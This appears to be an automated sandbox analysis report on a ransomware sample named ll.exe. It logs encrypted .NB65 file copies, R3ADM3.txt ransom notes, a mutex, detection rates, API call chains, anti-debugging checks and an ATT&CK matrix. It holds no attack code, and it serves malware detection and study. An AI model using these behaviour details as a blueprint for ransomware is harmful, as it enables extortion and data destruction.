Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0090-0409-0000-0000000FF1CE}-C\DCFMUI.cab.NB65 (copy) entropy: 7.99965867144Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-00BA-0409-0000-0000000FF1CE}-C\GrooveLR.cab.NB65 (copy) entropy: 7.99979490292Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-00A1-0409-0000-0000000FF1CE}-C\OnoteLR.cab.NB65 (copy) entropy: 7.99992481441Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-00E2-0409-0000-0000000FF1CE}-C\OSMUXMUI.cab.NB65 (copy) entropy: 7.99982675455Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\branding.xml.NB65 (copy) entropy: 7.99946534748Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OfficeLR.cab.NB65 (copy) entropy: 7.99995252557Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPsWW2.cab.NB65 (copy) entropy: 7.99997585741Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\setup.chm.NB65 (copy) entropy: 7.99797443744Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\OWOW64LR.cab.NB65 (copy) entropy: 7.99959754981Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-012B-0409-0000-0000000FF1CE}-C\LyncMUI.cab.NB65 (copy) entropy: 7.99984475006Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPsWW.cab.NB65 (copy) entropy: 7.99995951616Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files\UNP\Logs\UpdateNotificationPipeline.001.etl.NB65 (copy) entropy: 7.99841011415Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files\UNP\Logs\UpdateNotificationPipeline.002.etl.NB65 (copy) entropy: 7.99861927846Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files\UNP\Logs\UpdateNotificationPipeline.003.etl.NB65 (copy) entropy: 7.99856770846Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\AutoItX\AutoItX.chm.NB65 (copy) entropy: 7.99919334688Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\AutoItX\AutoItX.psd1.NB65 (copy) entropy: 7.99335494753Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\AutoItX\AutoItX3.Assembly.xml.NB65 (copy) entropy: 7.99659939175Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\AutoItX\AutoItX3_DLL.lib.NB65 (copy) entropy: 7.99345519154Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\AutoItX\AutoItX3_x64_DLL.lib.NB65 (copy) entropy: 7.9924113694Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Icons\au3.ico.NB65 (copy) entropy: 7.99377784101Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Icons\au3script_v10.ico.NB65 (copy) entropy: 7.99745296458Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Icons\au3script_v11.ico.NB65 (copy) entropy: 7.99630690229Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Icons\au3script_v9.ico.NB65 (copy) entropy: 7.99286414327Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Icons\filetype-blank.ico.NB65 (copy) entropy: 7.99497952304Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\APIErrorsConstants.au3.NB65 (copy) entropy: 7.99944581938Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\APIFilesConstants.au3.NB65 (copy) entropy: 7.99357291121Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\APIGdiConstants.au3.NB65 (copy) entropy: 7.99084074656Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\APIShellExConstants.au3.NB65 (copy) entropy: 7.99436302096Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Array.au3.NB65 (copy) entropy: 7.99771272835Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\ArrayDisplayInternals.au3.NB65 (copy) entropy: 7.99448820501Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Clipboard.au3.NB65 (copy) entropy: 7.99103502001Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Crypt.au3.NB65 (copy) entropy: 7.99291193634Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\CUIAutomation2.au3.NB65 (copy) entropy: 7.99618977763Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Date.au3.NB65 (copy) entropy: 7.99781998688Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Debug.au3.NB65 (copy) entropy: 7.9929284196Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\EventLog.au3.NB65 (copy) entropy: 7.99378156136Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Excel.au3.NB65 (copy) entropy: 7.9969847688Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\File.au3.NB65 (copy) entropy: 7.99617650604Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\FTPEx.au3.NB65 (copy) entropy: 7.99637803382Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GDIPlus.au3.NB65 (copy) entropy: 7.9993734253Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GDIPlusConstants.au3.NB65 (copy) entropy: 7.99413675061Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiButton.au3.NB65 (copy) entropy: 7.9928332995Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiComboBox.au3.NB65 (copy) entropy: 7.99599863196Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiComboBoxEx.au3.NB65 (copy) entropy: 7.99616895329Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiEdit.au3.NB65 (copy) entropy: 7.99671076404Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiHeader.au3.NB65 (copy) entropy: 7.99564854602Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiImageList.au3.NB65 (copy) entropy: 7.99384187426Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiListBox.au3.NB65 (copy) entropy: 7.99650587067Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiListView.au3.NB65 (copy) entropy: 7.99918349185Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiMenu.au3.NB65 (copy) entropy: 7.99730263345Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiMonthCal.au3.NB65 (copy) entropy: 7.9956283054Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiReBar.au3.NB65 (copy) entropy: 7.99736221586Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiRichEdit.au3.NB65 (copy) entropy: 7.99903774726Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiScrollBars.au3.NB65 (copy) entropy: 7.99377688416Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiSlider.au3.NB65 (copy) entropy: 7.99276374325Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiStatusBar.au3.NB65 (copy) entropy: 7.99478730678Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiTab.au3.NB65 (copy) entropy: 7.99549729659Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiToolbar.au3.NB65 (copy) entropy: 7.99787317884Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiToolTip.au3.NB65 (copy) entropy: 7.99613887082Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\GuiTreeView.au3.NB65 (copy) entropy: 7.99850378413Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\helper.au3.NB65 (copy) entropy: 7.99021460724Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\ie.au3.NB65 (copy) entropy: 7.99885604109Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\ListViewConstants.au3.NB65 (copy) entropy: 7.99201763759Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Misc.au3.NB65 (copy) entropy: 7.99411250742Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\NetShare.au3.NB65 (copy) entropy: 7.99627168127Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\NTSTATUSConstants.au3.NB65 (copy) entropy: 7.99917004096Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\PowerPoint.au3.NB65 (copy) entropy: 7.99699148598Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Security.au3.NB65 (copy) entropy: 7.99009907239Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Sound.au3.NB65 (copy) entropy: 7.99150605102Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\SQLite.au3.NB65 (copy) entropy: 7.99674797362Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\StructureConstants.au3.NB65 (copy) entropy: 7.99732779305Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\UIAWrappers.au3.NB65 (copy) entropy: 7.99798937327Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Visa.au3.NB65 (copy) entropy: 7.99539702968Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIConv.au3.NB65 (copy) entropy: 7.99272536198Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIDiag.au3.NB65 (copy) entropy: 7.99546605176Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIDlg.au3.NB65 (copy) entropy: 7.99543714157Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIFiles.au3.NB65 (copy) entropy: 7.99830996263Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIGdi.au3.NB65 (copy) entropy: 7.99916767548Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIGdiDC.au3.NB65 (copy) entropy: 7.99169193129Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIGdiInternals.au3.NB65 (copy) entropy: 7.99434542376Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIIcons.au3.NB65 (copy) entropy: 7.99309101625Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPILocale.au3.NB65 (copy) entropy: 7.9910691208Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIMem.au3.NB65 (copy) entropy: 7.99296262818Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIProc.au3.NB65 (copy) entropy: 7.99737162881Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIReg.au3.NB65 (copy) entropy: 7.9948535372Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIRes.au3.NB65 (copy) entropy: 7.99552558293Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIShellEx.au3.NB65 (copy) entropy: 7.99559892724Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPIShPath.au3.NB65 (copy) entropy: 7.99575142581Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPISys.au3.NB65 (copy) entropy: 7.99762967554Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPISysInternals.au3.NB65 (copy) entropy: 7.99245285333Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPISysWin.au3.NB65 (copy) entropy: 7.99672176103Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinAPITheme.au3.NB65 (copy) entropy: 7.99561724269Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WindowsConstants.au3.NB65 (copy) entropy: 7.99414286944Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\WinNet.au3.NB65 (copy) entropy: 7.99543409819Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\Include\Word.au3.NB65 (copy) entropy: 7.99375701572Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\autoit3\SciTE\au3.keywords.properties.NB65 (copy) entropy: 7.99785920059Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\google\Update\GoogleUpdate.bk.NB65 (copy) entropy: 7.99877442432Jump to dropped file
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files (x86)\java\jre1.8.0_211\THIRDPARTYLICENSEREADME-JAVAFX.txt.NB65 (copy) entropy: 7.99827591606Jump to dropped file
Source: ll.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F2C8F01_2_00F2C8F0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F2E8F01_2_00F2E8F0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F338B01_2_00F338B0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F2C0A01_2_00F2C0A0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F370A01_2_00F370A0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F2C5F01_2_00F2C5F0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F31D801_2_00F31D80
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F309601_2_00F30960
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F359501_2_00F35950
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F2D6701_2_00F2D670
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F32A301_2_00F32A30
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F242001_2_00F24200
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F326001_2_00F32600
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F333A01_2_00F333A0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F357501_2_00F35750
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F32F101_2_00F32F10
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F34C901_2_00F34C90
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F240701_2_00F24070
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F2FDD01_2_00F2FDD0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F23D501_2_00F23D50
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F2B5301_2_00F2B530
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F28ABE1_2_00F28ABE
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F302101_2_00F30210
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F40F751_2_00F40F75
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F22F501_2_00F22F50
Source: ll.exe, 00000001.00000002.545098567.000000000842F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameEXPLORER.EXE.MUIj% vs ll.exe
Source: ll.exeVirustotal: Detection: 56%
Source: ll.exeReversingLabs: Detection: 73%
Source: ll.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\ll.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\Desktop\ll.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Users\R3ADM3.txtJump to behavior
Source: classification engineClassification label: mal76.rans.spre.expl.winEXE@1/746@0/100
Source: C:\Users\user\Desktop\ll.exeFile read: C:\Program Files\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F34630 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,lstrcmpiW,Process32NextW,FindCloseChangeNotification,1_2_00F34630
Source: C:\Users\user\Desktop\ll.exeMutant created: \Sessions\1\BaseNamedObjects\kjsidugidf99439
Source: C:\Users\user\Desktop\ll.exeFile created: C:\Program Files\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeCommand line argument: stopmarker1_2_00F30960
Source: ll.exe, 00000001.00000002.543135069.00000000081C0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \??\C:\Program Files (x86)\autoit3\AutoItX\Examples\C++\AutoItX.slnL
Source: ll.exe, 00000001.00000002.519218232.0000000000E29000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Program Files (x86)\autoit3\AutoItX\Examples\C++\AutoItX.sln
Source: C:\Users\user\Desktop\ll.exeFile written: C:\Program Files\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Common Files\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Google\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\internet explorer\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Microsoft Office\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\MSBuild\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Reference Assemblies\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Uninstall Information\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\UNP\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Common Files\microsoft shared\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Common Files\Services\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Common Files\system\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Google\Chrome\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\internet explorer\en-US\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\internet explorer\images\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\internet explorer\SIGNUP\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Microsoft Office\Office16\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\MSBuild\Microsoft\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\Reference Assemblies\Microsoft\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\UNP\Logs\R3ADM3.txtJump to behavior
Source: C:\Users\user\Desktop\ll.exeDirectory created: C:\Program Files\UNP\UpdateNotificationMgr\R3ADM3.txtJump to behavior
Source: ll.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: ll.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: ll.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: ll.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ll.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: ll.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: ll.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: ll.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ll.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: ll.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: ll.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: ll.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: ll.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F38596 push ecx; ret 1_2_00F385A9
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F210D0 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileW,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileMappingW,GetProcAddress,MapViewOfFile,GetProcAddress,GetProcAddress,1_2_00F210D0

Persistence and Installation Behavior

barindex
Infects executable files (exe, dll, sys, html)
Source: C:\Users\user\Desktop\ll.exeSystem file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htmJump to behavior
Source: C:\Users\user\Desktop\ll.exe TID: 472Thread sleep count: 673 > 30Jump to behavior
Source: C:\Users\user\Desktop\ll.exe TID: 472Thread sleep time: -336500s >= -30000sJump to behavior
Source: C:\Users\user\Desktop\ll.exeEvasive API call chain: GetLocalTime,DecisionNodesgraph_1-10832
Source: C:\Users\user\Desktop\ll.exeWindow / User API: threadDelayed 673Jump to behavior
Source: C:\Users\user\Desktop\ll.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F35950 new,FindFirstFileW,new,FindNextFileW,FindClose,1_2_00F35950
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F3B6BD FindFirstFileExA,1_2_00F3B6BD
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F3B7C3 FindFirstFileExA,FindClose,1_2_00F3B7C3
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F23480 GetLogicalDriveStringsW,GetLogicalDriveStringsW,new,1_2_00F23480
Source: OfficeLR.cab.1.drBinary or memory string: QeMu,
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F398A8 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00F398A8
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F210D0 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileW,GetProcAddress,GetProcAddress,GetProcAddress,CreateFileMappingW,GetProcAddress,MapViewOfFile,GetProcAddress,GetProcAddress,1_2_00F210D0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F3D417 GetProcessHeap,1_2_00F3D417
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F3A4D2 mov eax, dword ptr fs:[00000030h]1_2_00F3A4D2
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F38492 SetUnhandledExceptionFilter,1_2_00F38492
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F398A8 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00F398A8
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F37A93 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00F37A93
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F38344 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00F38344
Source: C:\Users\user\Desktop\ll.exeQueries volume information: C:\Users\user\NTUSER.DAT VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\ll.exeQueries volume information: C:\Users\user\ntuser.dat.LOG1 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\ll.exeQueries volume information: C:\Users\user\ntuser.dat.LOG2 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\ll.exeQueries volume information: C:\Users\user\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TM.blf VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\ll.exeQueries volume information: C:\Users\user\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000001.regtrans-ms VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\ll.exeQueries volume information: C:\Users\user\NTUSER.DAT{8ebe95f7-3dcb-11e8-a9d9-7cfe90913f50}.TMContainer00000000000000000002.regtrans-ms VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F385AB cpuid 1_2_00F385AB
Source: C:\Users\user\Desktop\ll.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F2FDD0 GetLocalTime,wsprintfW,1_2_00F2FDD0
Source: C:\Users\user\Desktop\ll.exeCode function: 1_2_00F32F10 WSASocketW,bind,CreateIoCompletionPort,1_2_00F32F10

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts2
Command and Scripting Interpreter		Path InterceptionPath Interception3
Masquerading		1
Input Capture		1
Network Share Discovery		1
Taint Shared Content		1
